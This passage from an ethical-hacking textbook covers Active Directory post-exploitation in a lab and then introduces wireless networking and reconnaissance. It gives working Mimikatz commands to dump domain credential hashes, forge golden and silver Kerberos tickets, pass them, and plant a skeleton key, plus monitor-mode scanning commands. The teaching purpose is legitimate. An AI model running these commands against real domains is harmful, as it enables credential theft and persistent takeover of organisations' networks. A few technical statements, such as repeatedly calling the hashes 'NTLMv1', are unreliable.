password hashes (NTLMv1) from the domain controller. This may take up to 60 seconds to 
fully complete:

Figure 13.30: Retrieving the NTLM hashes

2. As shown in the preceding snippet, the administrator’s password hashes were extracted because 
the administrator user account was previously logged in to the server, and the credentials 
were cached while this attack was being performed. Make sure that you go through the entire 
output as all credentials of users on the domain, such as any domain administrators and user 
accounts, are extracted.
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The following snippet shows even the sqladmin account and its NTLMv1 hash are obtained:

Figure 13.31: The SPN hashes

As shown in the preceding snippet, Mimikatz is able to retrieve all the user details that were 
stored within the memory of the host device since the last time it was rebooted.

3. To extract the LSA data from the memory of the domain controller, use the following commands:

mimikatz # lsadump::lsa /patch

To learn more about the LSA authentication model within Microsoft Windows, 
please visit https://learn.microsoft.com/en-us/windows/win32/secauthn/
lsa-authentication.

https://learn.microsoft.com/en-us/windows/win32/secauthn/lsa-authentication
https://learn.microsoft.com/en-us/windows/win32/secauthn/lsa-authentication
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As shown in the following snippet, the usernames and NTLMv1 hashes of all domain users 
are retrieved:

Figure 13.32: Account hashes

4. By obtaining the NTLMv1 hashes of each user, you can perform lateral movement throughout 
the network using the PTH technique and even perform password cracking using hashcat. In 
addition, Mimikatz is a well-known cybersecurity tool, used both by attackers and penetration 
testers, so it can be challenging to use in a well-defended environment; this makes obfuscation 
necessary to evade detection.

Having completed this exercise, you have gained the skills to extract the NTLMv1 hashes of all users 
on the domain. Next, you will learn how to set up domain persistence using a golden ticket.
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Domain dominance and persistence
In this section, you will learn how to perform advanced techniques to abuse the trust within Kerberos 
and an Active Directory domain to gain dominance over all devices within a Windows domain and set 
up persistence within Active Directory.

You will learn about the fundamentals of creating the following tokens on Active Directory:

• Golden ticket
• Silver ticket
• Skeleton key

Let’s take a deeper dive into abusing the trust within Active Directory.

Golden ticket
A golden ticket is a special token that is created by penetration testers using the Security Identifier 
(SID) of the domain, the domain name, and the NTLMv1 hash of the Kerberos TGT. The golden ticket 
allows a penetration tester to gain access to any device within the domain by performing PTT.

This is possible because the golden ticket is encrypted using the hash of the Kerberos TGT account, 
which is the built-in krbtgt account on Active Directory. However, the golden ticket is not digitally 
signed by the krbtgt account hash but is encrypted only. This golden ticket allows anyone to imperson-
ate any user with the privileges associated with the impersonated user on systems within the domain. 
To make this type of attack even more awesome, imagine that changing the password for the krbtgt 
account has zero effect on mitigating this attack on Active Directory.

To get started with creating a golden ticket, please use the following instructions:

1. Log in to Windows Server 2019 (domain controller) with the sqladmin user account or a do-
main administrator account.

2. Ensure the latest version of Mimikatz is on the domain controller. This was completed in the 
previous section, Lateral movement with Mimikatz.

3. On Windows Server 2019, in the Command Prompt with administrative privileges, use the 
following commands to launch Mimikatz and check its privileges:

C:\Windows\system32> cd C:\Users\sqladmin\Downloads\mimikatz_trunk\x64
C:\Users\sqladmin\Downloads\mimikatz_trunk\x64> mimikatz.exe
mimikatz # privilege::debug

4. Next, use Mimikatz to extract the domain SID and the Kerberos TGT account NTLM hash 
(krbtgt):

mimikatz # lsadump::lsa /inject /name:krbtgt
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The following snippet shows that the domain SID and krbtgt NTLMv1 hash are retrieved:

Figure 13.33: Extracting the krbtgt hash

5. Next, use Mimikatz to create a golden ticket by providing the domain SID and krbtgt NTLMv1 
hash:

mimikatz # kerberos::golden /user:NotAdmin /domain:redteamlab.
local /sid:S-1-5-21-3308815703-1801899785-1924879678 /
krbtgt:faea0ec9ebb153278b5b15a7c41a57e4 /id:500 /ticket:golden_ticket

The username specified in the preceding command does not necessarily need to be a valid 
user on the domain. Furthermore, using the ID of 500 allows us to specify the administrator 
user account on the domain. The /ticket command enables us to specify the name of the 
ticket when it’s created.

The domain SID and krbtgt NTLMv1 hash are needed to create a golden ticket.
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The following snippet shows success in creating a golden ticket for the domain:

Figure 13.34: Creating the golden ticket

The golden ticket is stored offline within the Mimikatz directory. This golden ticket will allow 
a penetration test to access any system on the domain using the current session.

6. To create a super golden ticket using the maximum validity period for a ticket, use the follow-
ing commands:

mimikatz # kerberos::golden /user:NotAdmin /domain:redteamlab.
local /sid:S-1-5-21-3308815703-1801899785-1924879678 /
krbtgt:faea0ec9ebb153278b5b15a7c41a57e4 /id:500 /endin:2147483647 /
ticket:super_golden_ticket

As shown in the following screenshot, using the /endin command enables us to specify the 
maximum validity (2147483647) for a golden ticket (in minutes):

Figure 13.35: Creating a super golden ticket
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7. Next, to pass the ticket with Mimikatz, use the following command:

mimikatz # kerberos::ptt golden_ticket

The following screenshot shows that the golden ticket was successfully injected into memory:

Figure 13.36: Injecting the golden ticket into memory

8. To open a Command Prompt with the golden ticket session, use the following Mimikatz com-
mand:

mimikatz # misc::cmd

The following Command Prompt is using the golden ticket:

Figure 13.37: Verifying the injection of ticket and privileges

As shown in the preceding screenshot, when the whoami command is executed, the output shows 
the sqladmin account is currently logged on to the system but the klist command reveals this 
Command Prompt session is using the NotAdmin user with the golden ticket. Therefore, you 
can access any device on the network using the golden ticket on this Command Prompt session.

In addition, this new Command Prompt session will allow you to access any device and perform any 
administrative actions on the domain. Now that you have domain persistence, you can use the Mi-
crosoft PsExec tool with the Command Prompt to perform administrative actions on any computer 
within the domain.
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Having completed this exercise, you now know how to create a golden ticket within the Active Directory 
domain to obtain domain persistence. This allows a penetration tester to always have administrative 
access to any device on the domain at any time. Next, you will learn how to create a silver ticket to 
impersonate a service or computer on the network.

Silver ticket
A silver ticket allows penetration testers to impersonate services and computers on a network as 
compared to impersonating users with a golden ticket. To create a silver ticket within Active Directory, 
you will need the domain name, the SID of the domain, the NTLM hash of the computer or service 
account you want to impersonate, and a target that is running the service. Once the silver ticket is 
created, using the PTT technique, penetration testers will be able to access the targeted system using 
the silver ticket. Therefore, access is provided to a service running on a targeted host on the network 
without authenticating the domain controller.

To get started with creating a silver ticket, please use the following instructions:

1. Log in to Windows Server 2019 (domain controller) with the sqladmin user account or a do-
main administrator account.

2. Ensure that the latest version of Mimikatz is on the domain controller. This step was covered 
in the previous section, Lateral movement with Mimikatz.

3. Next, on the domain controller, open the Command Prompt with administrative privileges. 
Use the following command to launch Mimikatz and check its privileges:

C:\Windows\system32> cd C:\Users\sqladmin\Downloads\mimikatz_trunk\x64
C:\Users\sqladmin\Downloads\mimikatz_trunk\x64> mimikatz.exe
mimikatz # privilege::debug

There are a lot more actions that Mimikatz can perform. Be sure to visit the Mimikatz wiki 
at https://github.com/gentilkiwi/mimikatz/wiki.

As previously mentioned in this chapter, changing the krbtgt account password does not 
invalidate the tickets created by the krbtgt account; however, checking the password 
twice will invalidate the tickets.

When targeting a service on a host, ensure you identify a service account with a registered 
SPN and the class or type of SPN as well. These may be cifs, mssql, host, http, and so on. 
You can use the Impacket GetUserSPNs.py script to retrieve accounts that have an SPN.

https://github.com/gentilkiwi/mimikatz/wiki
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4. Next, retrieve the SID of the domain and the NTLM hashes of a service account with a regis-
tered SPN or computer account:

mimikatz # lsadump::lsa /patch

For this exercise, we will use the NTLM hash of the domain controller, DC1$:

Figure 13.38: Extracting the domain hash

5. Next, let’s use Mimikatz to create a silver ticket with a fake username, the domain name, the 
domain SID, the NTLM (RC4) hash of the Domain Controller (DC1), and the target as the do-
main controller. The service to impersonate will be the HOST:

mimikatz # kerberos::golden /user:SilverTicket /domain:redteamlab.
local /sid:S-1-5-21-3308815703-1801899785-1924879678 /
rc4:8ee5dd382e8f122ce1919d73ddb09e3a /id:1234 /target:dc1.redteamlab.
local /service:HOST /ticket:silver_ticket

You can also use the lsadump::lsa /inject /name:sqladmin command to 
retrieve the NTLM hash of a specific account with Mimikatz.
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As shown in the following screenshot, Mimikatz created a silver ticket:

Figure 13.39: Silver ticket

This silver ticket will allow you to target the HOST service on the domain controller.

6. Next, use the following Mimikatz command to pass the ticket:

mimikatz # kerberos::ptt silver_ticket

As shown in the following screenshot, the silver ticket was injected into memory:

Figure 13.40: Injecting ticket into memory

7. To open a Command Prompt session with the silver ticket, use the following Mimikatz com-
mand:

mimikatz # misc::cmd

In the preceding commands, ptt stands for pass the ticket.
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As shown in the following snippet, this new Command Prompt session is using the silver ticket:

Figure 13.41: Checking privileges with the silver ticket

This new Command Prompt session will allow you to access the HOST service running on the 
domain controller without any restrictions.

Having completed this section, you now know how to create a silver ticket. Next, you will learn how 
to create a skeleton key on Active Directory.

Skeleton key
A skeleton key allows the penetration tester to access any device on the domain using any user account 
with a single password.

To get started with creating a skeleton key on Active Directory, please use the following instructions:

1. Log in to Windows Server 2019 (domain controller) with the sqladmin user account or a do-
main administrator account.

2. Ensure the latest version of Mimikatz is on the domain controller. This action was already 
completed in the previous exercise, Lateral movement with Mimikatz.

3. Next, on the domain controller, on the Command Prompt with administrative privileges, use 
the following command to launch Mimikatz and check its privileges:

C:\Windows\system32> cd C:\Users\sqladmin\Downloads\mimikatz_trunk\x64
C:\Users\sqladmin\Downloads\mimikatz_trunk\x64> mimikatz.exe
mimikatz # privilege::debug

4. Next, use the following commands to enable the Mimikatz drivers on the disk of the domain 
controller and create the skeleton key:
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mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

The following snippet shows the results of executing the commands:

Figure 13.42: Creating a skeleton key

5. Use the following command to open a new Command Prompt session using the skeleton key:

mimikatz # misc::cmd

When using the skeleton key, you can access any device on the domain using a 
valid username and the password as Mimikatz. However, keep in mind any host 
you’re attempting to access with the skeleton key needs to authenticate to the 
domain controller on the network. If the domain controller reboots, the skeleton 
key is lost. However, the skeleton key being lost if the domain controller reboots 
is an important operational detail. Since Mimikatz manipulates authentication 
processes that are resident in memory, they are not persistent through reboots 
unless specific measures are taken to ensure persistence.
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6. In the new Command Prompt session, use the following command to enable PowerShell:

C:\Users\sqladmin\Downloads\mimikatz_trunk\x64> powershell

7. Next, access the domain controller using the following commands with a valid username:

PS C:\Users\sqladmin\Downloads\mimikatz_trunk\x64> Enter-PSSession 
-Computername dc1 -credential redteamlab\Administrator

8. The following authentication prompt will appear. Simply enter the Password as mimikatz and 
click OK:

Figure 13.43: Logging in as administrator

The authentication will be successful with the skeleton key on Active Directory and you will 
be provided with the following terminal interface, indicating you are currently on the Domain 
Controller (dc1):

Figure 13.44: Log in to the Domain Controller with skeleton key
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As shown in the following screenshot, the skeleton key enables us to log in as the domain 
administrator on a domain-connected computer without using the administrator’s password:

Figure 13.45: Verifying identity

9. Once, you’ve finished with the exercise, power off your virtual machines.
10. Lastly, open VirtualBox Manager, select the Kali Linux virtual machine, select Settings, go 

to Network, and disable Adapter 3. This will disable the network adapter on Kali Linux that’s 
connected to the RedTeamLab network within our lab topology, as shown here:

Figure 13.46: Disabling the network adapter

Having completed this exercise and section, you now know how to create both golden and silver tickets 
and a skeleton key to gain dominance and persistence on Active Directory.
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Summary
During the course of this chapter, you have learned about the fundamentals of Kerberos within a 
Windows domain and the importance it has within Active Directory. You have also gained the skills 
to exploit the trust of Active Directory over an IPv6 network and perform both lateral and vertical 
movement within Active Directory, and have gained hands-on experience in setting up domain dom-
inance and persistence.

I trust that the knowledge presented in this chapter has provided you with valuable insights, sup-
porting your path toward becoming an ethical hacker and penetration tester in the dynamic field 
of cybersecurity. May this newfound understanding empower you in your journey, allowing you to 
navigate the industry with confidence and make a significant impact. In the next chapter, Chapter 
14, Advanced Wireless Penetration Testing, you will learn how to compromise personal and enterprise 
wireless networks.

Further reading
To learn more about the topics that were covered in this chapter, visit the following links:

• Understanding Kerberos – https://www.techtarget.com/searchsecurity/definition/
Kerberos

• OS Credential Dumping: NTDS – https://attack.mitre.org/techniques/T1003/003/
• OS Credential Dumping: LSA Secrets – https://attack.mitre.org/techniques/T1003/004/
• LLMNR/NBT-NS Poisoning and SMB Relay – https://attack.mitre.org/techniques/

T1557/001/

• Active Directory Security – https://adsecurity.org/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.techtarget.com/searchsecurity/definition/Kerberos
https://www.techtarget.com/searchsecurity/definition/Kerberos
https://attack.mitre.org/techniques/T1003/003/
https://attack.mitre.org/techniques/T1003/004/
https://attack.mitre.org/techniques/T1557/001/
https://attack.mitre.org/techniques/T1557/001/
https://adsecurity.org/ 
https://packt.link/SecNet


14
Advanced Wireless Penetration 
Testing

As the number of mobile devices increases around the world, organizations are also increasing and 
improving their wireless networks. Wireless networking is very common and many companies are 
investing in enhancing their wireless network infrastructure to support mobile devices such as laptops, 
smartphones, tablets, and Internet-of-Things (IoT) devices. As an aspiring ethical hacker and penetra-
tion tester, it’s essential to develop solid foundational knowledge of wireless networking and understand 
how threat actors can identify and exploit security vulnerabilities within enterprise wireless networks.

In this chapter, you will learn about the fundamentals of wireless networks and how penetration testers 
can perform reconnaissance on their target’s wireless network. You will gain skills in compromising 
Wi-Fi Protected Access (WPA), WPA2, and WPA3 wireless networks with Access Points (APs), as well 
as personal and enterprise networks. Furthermore, you will learn how to perform an AP-less attack 
and create a wireless honeypot, and we will cover techniques you can use to secure wireless networks. 

In this chapter, we will cover the following topics:

• Introduction to wireless networking
• Performing wireless reconnaissance
• Compromising WPA/WPA2 networks
• Performing AP-less attacks
• Exploiting enterprise networks
• Setting up a Wi-Fi honeypot
• Exploiting WPA3 attacks

Let’s dive in!
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Technical Requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux: https://www.kali.org/get-kali/
• FreeRadius: https://freeradius.org/
• Airgeddon: https://github.com/v1s1t0r1sh3r3/airgeddon
• An Alfa AWUS036NHA High Gain Wireless B/G/N USB adapter
• An Alfa AWUS036ACH Long-Range Dual-Band AC1200 Wireless USB 3.0 Wi-Fi adapter
• A physical wireless router that supports WPA2-Personal, WPA2-Enterprise, and WPA3 security 

standards

Without the Alfa network adapters, you can use another wireless adapter that supports a packet-in-
jection chipset. However, without the recommended Alfa adapters, you won’t be able to complete the 
hands-on labs in this chapter.

Introduction to Wireless Networking
As an aspiring ethical hacker and penetration tester, it’s important to understand the key concepts 
and fundamentals of wireless networking and its technologies before learning how to compromise 
a targeted wireless network.

Wireless penetration testing isn’t just about hacking into a targeted wireless network and gaining 
unauthorized access – it extends beyond this traditional concept. Wireless penetration testing is 
performed by employing the following systematic stages, which aim to help ethical hackers and 
penetration testers perform a comprehensive evaluation of an organization’s wireless network to 
determine its security posture:

• Network scanning – The network-scanning phase focuses on collecting and analyzing infor-
mation (reconnaissance) about the targeted wireless network. This stage helps the penetra-
tion tester to identify network resources, associated clients, the manufacturer of the wireless 
router or access point, and any encryption and authentication systems used by the targeted 
wireless network.

• Vulnerability assessment – This phase focuses on identifying any security weaknesses in the 
targeted wireless network infrastructure that can be exploited. Identifying vulnerabilities may 
involve using wireless security auditing tools (software and hardware) to determine whether 
the wireless router or access point has any security misconfiguration.

• Exploitation – After performing reconnaissance and vulnerability assessment on the targeted 
wireless network, this phase focuses on leveraging the collected information to exploit any 
security vulnerabilities that exist on the target to gain unauthorized access.

• Post-exploitation – Once the targeted wireless network is exploited during wireless penetration 
testing, it’s important to maintain persistent access and expand the foothold in the network.

https://www.kali.org/get-kali/
https://freeradius.org/
https://github.com/v1s1t0r1sh3r3/airgeddon
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Understanding how a wireless router or an AP transmits Wireless Local Area Network (WLAN) frames 
between one client to another goes a long way to becoming better at wireless penetration testing.

The Institute of Electrical and Electronics Engineers (IEEE) is an organization that is responsible for 
creating and maintaining a lot of standards and frameworks for the electrical and electronics industry, 
including computers and networks. Within IEEE, there’s the 802 committee, which is responsible for 
developing and maintaining a lot of standards such as Ethernet, Bluetooth, and even wireless net-
working. Within the 802 committee, there’s the .11 working group, which is responsible for one of 
the most common wireless networking standards today, and it is known as IEEE 802.11.

The following table lists the various IEEE 802.11 wireless networking standards:

Figure 14.1: IEEE 802.11 wireless standards

The IEEE 802.11 standards uses the 2.4 GHz frequency over a total of 14 operating channels, which 
range from 2.400 GHz to 2.490 GHz, with each channel being 20-22 MHz wide. Since each channel 
between channels 1 and 14 is only 20-22 MHz wide, there are a lot of overlapping channels within 
the 2.4 GHz frequency. Whenever a channel overlaps with another, the performance of the wireless 
networks that use those overlapping channels is affected, whether it’s another AP operating on the 
same 2.4 GHz frequency using a channel closely aligned to your network or there are multiple APs 
within your organization operating on the same channel.

A WLAN frame is simply the fundamental unit of data transmission over a Wi-Fi network.

The standard channel width is 20 MHz for most 802.11 specifications, and the 22 MHz 
reference includes a 2 MHz gap to prevent adjacent channel interference. It’s also useful 
to note that not all 14 channels are available worldwide but vary by country due to regu-
latory differences.
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The following diagram shows the non-overlapping channels within the 2.4 GHz frequency:

Figure 14.2: Non-overlapping channels

Various countries such as the United States of America, Canada, and South Korea restrict channel 
14 of the 2.4 GHz frequency due to their spectrum policies and regulations, so you will commonly 
discover wireless 2.4 GHz networks operating between channels 1 and 11 such as in North America. 
Many other regions permit channels 1-3, and Japan permits all channels from 1 to 14. The width of a 
channel defines how much data/traffic can be transmitted between a wireless client and an access point.

On the IEEE 802.11a wireless standard, the 5 GHz frequency supports larger channel widths such as 
20 MHz, 40 MHz, 80 MHz, and 160 MHz. Using a technology known as channel bonding allows wireless 
devices to combine 2 x 20 MHz channels to create a single 40 MHz channel, bonding a 2 x 40 MHz into 
an 80 MHz channel, and 2 x 80 MHz into a 160 MHz channel, therefore allowing the wireless device to 
transmit more data at a time. While channel bonding is also supported on the 2.4 GHz frequency, there 
are very limited channels within the 2.4 GHz spectrum that are not suitable all the time compared to 
5 GHz, which has a lot more channels available.

The following table shows a comparison between the 2.4 GHz and 5 GHz frequencies:

Figure 14.3: Comparison between 2.4 GHz and 5 GHz

IEEE 802.11a introduced the use of the 5 GHz band, the advanced channel-bonding tech-
niques and wider channels are features of later standards such as IEEE 802.11ac (which 
introduced 80 MHz and 160 MHz channels) and IEEE 802.11ax.
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As shown in the preceding table, the 2.4 GHz frequency provides greater signal strength and range 
compared to the 5 GHz frequency. However, the 5 GHz frequency provides less interference and sup-
ports more throughput on the IEEE 802.11 wireless network.

Single-In Single-Out (SISO) and Multiple-In Multiple-Out (MIMO)
Wireless-compatible devices such as access points, wireless routers, smartphones, and even laptops 
having built-on antennas that enables them to view and interact with nearby access points or wire-
less routers.. When an access point has a single antenna for both sending and receiving frames and a 
wireless device such as a laptop also has a single antenna that’s used for both sending and receiving 
frames, this is known as Single-In Single-Out (SISO).

The following diagram provides a visual representation of SISO:

Figure 14.4: SISO operation

As shown in the preceding diagram, each device has a single antenna that is used for both sending 
and receiving frames. To improve the throughput of data between wireless devices, multiple anten-
nas can be used for both sending and receiving messages. When multiple antennas are used to send 
data from one device, and multiple antennas are used to receive the data on a receiving device, this 
is known as Multiple-In Multiple-Out (MIMO).

The following diagram shows a representation of MIMO between two devices:

Figure 14.5: MIMO operation

SISO technology, while simple, is limited by its capacity for data transmission and its sus-
ceptibility to interference and fading. In contrast, advanced technologies like MIMO utilize 
multiple antennas for sending and receiving, significantly increasing data throughput and 
reliability in complex wireless environments.
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As shown in the preceding diagram, the two antennas on the access point are used to send data to 
the client, while the two antennas on the client are used to receive the data too. When using MIMO 
for data transmission on a wireless network, the sender device usually breaks the data into multiple 
streams based on the number of antennas on the device. For instance, if there are two antennas on 
the sender and two antennas on the receiver device, this will create two spatial streams. When using 
IEEE 802.11n, there’s a maximum of four streams and IEEE 802.11ac supports a maximum of eight 
streams; more spatial streams can lead to higher data rates and better network efficiency.

The following table shows IEEE 802.11 standards and their maximum supported spatial streams:

Figure 14.6: Spatial streams

When manufacturers are designing their wireless routers and access points, omnidirectional antennas 
are implemented. Omnidirectional antennas generate a wireless signal in all directions. However, 
when a wireless client such as a smartphone or laptop moves further away from the access point, the 
client experiences signal loss as the distance increases. As a result, wireless frames are lost, latency 
increases, and throughput is affected.

The following is an image of the Alfa AWUS036NHA wireless network adapter with an omnidirectional 
antenna:

Figure 14.7: Wireless adapter with omnidirectional antenna
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With IEEE 802.11ac, manufacturers enforce a technology known as beamforming, which allows an 
access point or wireless router to focus its wireless signal strength in the direction it thinks the wire-
less client is located. Therefore, beamforming tries to ensure all associated wireless clients are not 
affected by signal loss.

Since IEEE 802.11n and prior standards operate on a shared medium, only one wireless client can 
transmit at a time while the other clients are listening. Therefore, if a wireless client wants to trans-
mit a frame, it will use Carrier Sense Multiple Access/Collision Avoidance (CSMA/CA), which allows 
the wireless client to ask the access point (or wireless router) whether the medium (network) is free/
available before sending the message to a destination. If no devices are transmitting data, then the 
wireless client will send its message across the wireless network.

When using IEEE 802.11n, wireless devices can use Single User – Multiple Input Multiple Output 
(SU-MIMO) with both 20 MHz- and 40 MHz-width channels to support better throughput of data be-
tween one wireless device and another.

The following diagram provides a visual representation of SU-MIMO:

Figure 14.8: SU-MIMO

As shown in the preceding diagram, the access point has multiple spatial streams within its buffer 
because there are three devices that have requested information and the access point needs to deliver. 
However, when using IEEE 802.11n and prior, the access point can only transmit one spatial stream 
to one client at a time, using a round-robin approach. This is where some segments of one spatial 
stream are sent to one client, then segments of another spatial stream are sent to another client, and 
so on (one after the other, in a loop).

The concepts of directional antennas and beamforming are not the same. Directional 
antennas transmit their signal in a specific direction, while beamforming uses omnidi-
rectional antennas but focuses the signal strength to reach a wireless client, irrespective 
of the direction it is located in.
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To overcome the challenges of SU-MIMO, the IEEE 802.11ac standard allows wireless devices to use 
either SU-MIMO or Multi-User Multiple Input Multiple Output (MU-MIMO) with larger channel widths 
such as 80 MHz, 80 MHz + 80 MHz, and 160 MHz on 5 GHz to support greater data throughput com-
pared to its predecessor. When using MU-MIMO, access points can transmit multiple spatial streams 
to their respective destination clients simultaneously.

The following diagram provides a visual representation of MU-MIMO:

Figure 14.9: MU-MIMO operations

As shown in the preceding diagram, the access point has multiple spatial streams and can transmit 
to multiple clients at the same time. Therefore, it takes less time to transmit data between an access 
point and multiple clients on a wireless network using the IEEE 802.11ac Wave 2 wireless standard.

Wireless security standards
Security continues to be a major concern for organizations with both wired and wireless networks. 
While organizations implement wireless networks and security features on their wireless routers 
and access points, threat actors are still able to break into these wireless networks and compromise 
devices on wired networks, such as servers. As an aspiring ethical hacker and penetration tester, it’s 
important to understand the fundamentals of the various wireless security standards and how they 
can be compromised.
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The following are the various wireless security standards used within the industry:

• Wired Equivalent Privacy (WEP): This is the first official wireless security standard that was 
implemented within IEEE 802.11 wireless networks. WEP uses the Rivest Cipher 4 (RC4) data 
encryption algorithm to encrypt the wireless frames between an access point and the wire-
less client. However, due to many security vulnerabilities being found within RC4 that allow 
threat actors to easily compromise WEP wireless networks, it is no longer recommended to 
be used within the wireless networking industry. WEP is not implemented in modern wireless 
networking devices and is rarely encountered.

WEP generates a 24-bit unique string (nonce) that’s known as the Initialization Vector (IV). The 
24-bit IV is used with RC4 to encrypt the wireless frames. However, since the IV is not random-
ized and the same IV is used to encrypt the wireless frames, once a threat actor retrieves the 
IV from one wireless frame on the network, the hacker will be able to retrieve the network key 
to access the wireless network and decrypt any wireless traffic from the now-compromised 
network. This is in specific implementations of WEP that reuse the same IV frequently. Fur-
thermore, the 24-bit IV is considered to be a very small key space, providing up to 16,777,216 
combinations of keys, which can quickly be exhausted.

• Wi-Fi Protected Access (WPA): WPA is the successor to WEP and provides improved security 
by using the Temporal Key Integrity Protocol (TKIP). TKIP improves data security between the 
access point and the wireless client by applying a unique key (randomization) to each frame 
and using a Message Integrity Check (MIC) to verify the integrity of each message.

However, while TKIP randomizes the key, RC4 is still vulnerable and breakable by threat actors. 
Therefore, it’s not recommended to use WPA on wireless networks.

• Wi-Fi Protected Access 2 (WPA2): WPA2 is widely used within the wireless networking indus-
try and has been adopted as the de facto wireless security standard. WPA2 uses the Advanced 
Encryption Standard (AES) to encrypt all the messages between the access point and the 
wireless client. AES can apply confidentiality and validate the integrity of the frames by using 
the Counter Mode Cipher Block Chaining Message Authentication Code Protocol (Counter 
Mode CBC-MAC Protocol) or CCM mode Protocol (CCMP). While there are many improvements 
with WPA2, it is still vulnerable to common wireless-based attacks.

• Wi-Fi Protected Access 3 (WPA3): WPA3 is the latest wireless security standard at the time of 
writing. Simultaneous Authentication of Equals (SAE) is implemented within WPA3 to mitigate 
the security vulnerabilities that were found within its predecessor, WPA2. The Commercial 
National Security Algorithm (CNSA) is implemented within WPA3-Enterprise deployments. 
While WPA3 is currently the latest wireless security standard, it’s important to consider the 
practical implications of adopting WPA3, such as the following:

• WPA3 requires compatible hardware such as APs and wireless network interface cards
• Client devices supporting WPA3 and those that only support WPA2
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The following table provides a comparison between WPA2 and WPA3:

Figure 14.10: WPA2 vs WPA3

Additionally, when configuring a wireless network, a network professional uses one of the following 
authentication methods to allow users to establish an association with the wireless network:

• Open Authentication: This is the default authentication method on most wireless routers and 
access points. This method does not provide any security between the access point and the 
wireless clients, such as data encryption of the frames. Furthermore, this method allows any 
device to connect without the need for a password, so the wireless network is open to anyone.

• Pre-Shared Key (PSK): On personal networks such as Small Office Home Office (SOHO) wireless 
networks, there are very few users who need wireless connectivity. Using a PSK on a small 
network allows a network professional to configure the wireless router or access point with a 
single password/passphrase that can be shared with anyone who wants access to the wireless 
network. On wireless routers, the security method is usually identified as WPA-Personal or 
WPA2-Personal.

• Enterprise: On large enterprise wireless networks, security needs to be managed properly. 
Using WPA-Enterprise, WPA2-Enterprise, and WPA3-Enterprise allows wireless network engi-
neers to implement an Authentication, Authorization, and Accounting (AAA) server such as 
Remote Authenticate Dial-In User Service (RADIUS). Using RADIUS on an enterprise wireless 
network allows IT professionals to create individual user accounts for each user on the RADIUS 
server, allowing the centralized management of wireless users and access control. 

Both WPA and WPA2 personal networks are vulnerable to brute-force attacks, which allow a threat 
actor to capture the WPA/WPA2 wireless handshake for a target wireless network and perform offline 
password-cracking using a dictionary-based attack to retrieve the password for the wireless network. 
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However, wireless networks that use RADIUS servers are less susceptible to brute-force attacks due to 
stronger authentication mechanisms, but they are still at risk of wireless relay attacks. In a wireless 
relay attack, the threat actor can intercept the WLAN frames and impersonate a legitimate user’s 
credentials to gain unauthorized access to the organization’s wireless network. 

Later in this chapter, you will learn how to compromise both personal and enterprise wireless networks. 
In the next section, you will learn how to perform reconnaissance on a wireless network.

Performing Wireless Reconnaissance
As with any type of penetration test using the Cyber Kill Chain, the first stage is to gather as much 
information about the target as possible by performing reconnaissance. Reconnaissance in wireless 
penetration testing allows you to discover nearby wireless clients, wireless routers, and access points, 
perform fingerprinting on wireless devices, and even determine the manufacturer of an access point. 
By gathering information about a wireless network and its device, you can research security vulner-
abilities that can help you exploit and compromise the wireless network.

The following diagram shows the Cyber Kill Chain and its stages:

Figure 14.11: Cyber Kill Chain

To learn more about brute-force attacks, please see https://www.techtarget.com/
searchsecurity/definition/brute-force-cracking.

https://www.techtarget.com/searchsecurity/definition/brute-force-cracking
https://www.techtarget.com/searchsecurity/definition/brute-force-cracking
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When performing reconnaissance on a wireless network, the penetration tester does not need to 
be associated with or connected to the targeted wireless network, but they do need to be within the 
vicinity of the target. Using a wireless network adapter that supports packet injection and monitor 
mode allows the penetration tester to listen and capture messages on the 2.4 GHz and 5 GHz bands 
of nearby wireless clients and access points.

To get started with wireless reconnaissance, please use the following instructions:

1. Power on your wireless router/access point and the Kali Linux virtual machine. Ensure you 
have a few wireless clients connected to your targeted wireless network.

2. Connect your wireless network adapter to your Kali Linux virtual machine, preferably the 
Alfa AWUS036NHA adapter.

3. On Kali Linux, open Terminal and use the iwconfig command to verify whether the wireless 
adapter has been detected and recognized, as shown here:

Figure 14.12: Checking wireless interface

As shown in the preceding screenshot, the wlan0 network interface represents the connected 
wireless network adapter.

The wireless penetration testing techniques that follow throughout this chapter should 
be used with extreme caution within a controlled environment and only after having 
obtained legal written permission from the necessary authorities prior to performing 
wireless auditing on an organization’s network and systems. As an aspiring ethical hacker 
and penetration tester, it’s important to have a good moral compass and be responsible 
and ethical in your actions.
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4. Next, use the airmon-ng tool to terminate any conflicting processes and enable monitoring 
mode on the wlan0 interface:

kali@kali:~$ sudo airmon-ng check kill
kali@kali:~$ sudo airmon-ng start wlan0

As shown in the following screenshot, the wlan0mon interface is a virtual interface that was 
created in monitor mode:

Figure 14.13: Enabling monitor mode

5. Use the iwconfig command to verify whether there’s a wireless network interface in Monitor 
mode:

Figure 14.14: Checking for a new monitor interface

6. Next, use the airodump-ng tool to start monitoring all nearby wireless networks within the 
vicinity:

kali@kali:~$ sudo airodump-ng wlan0mon
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The following screenshot shows a list of all IEEE 802.11 wireless networks within my vicinity:

Figure 14.15: Wireless reconnaissance

As shown in the preceding screenshot, the Terminal window will now begin to display all of 
the nearby access points and wireless clients, as well as the following information:

• BSSID: The Basic Service Set Identifier (BSSID) is the MAC address of the access point 
or wireless router.

• PWR: This is the power rating, which helps penetration testers determine the distance 
between their attacker machine and the target wireless network. The lower the power 
rating, the further away the access point is from your wireless network adapter.

• Beacons: These are the advertisements that are sent from an access point to announce 
its presence within the vicinity and its wireless network. Beacons usually contain 
information about the access point, such as the Service Set Identifier (SSID) or the 
wireless network’s name and its operation.

• #Data: This is the amount of captured data packets per network.
• #/s: This field indicate the number of packets transmitted over 10 seconds.
• CH: This field indicates the current operating channel of the wireless network on the 

target access point.

By default, airodump-ng monitors IEEE 802.11 wireless networks operating on 
the 2.4 GHz band between channels 1 and 14. If you want to monitor IEEE 802.11 
wireless networks on the 5 GHz band, you will need to use a wireless network 
adapter that supports Monitor mode and the 5 GHz frequency. Additionally, you 
will need to append the --band abg command to the end of airodump-ng to 
specify both 2.4 GHz and 5 GHz.
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• MB: This field outlines the maximum speed that is supported by the access point.
• ENC: This field indicates the wireless security encryption cipher that is currently being 

used on the wireless network.
• AUTH: This field indicates the type of authentication protocol being used on the wire-

less network.
• ESSID: The Extended Service Set Identifier (ESSID) and the name of the network (SSID) 

are usually the same.
• STATION: This field displays the Media Access Control (MAC) addresses of both the 

associated and unassociated wireless client devices.
• Probes: This field indicates the Preferred Network List (PNL) of a wireless client broad-

casting request probes for saved wireless networks.

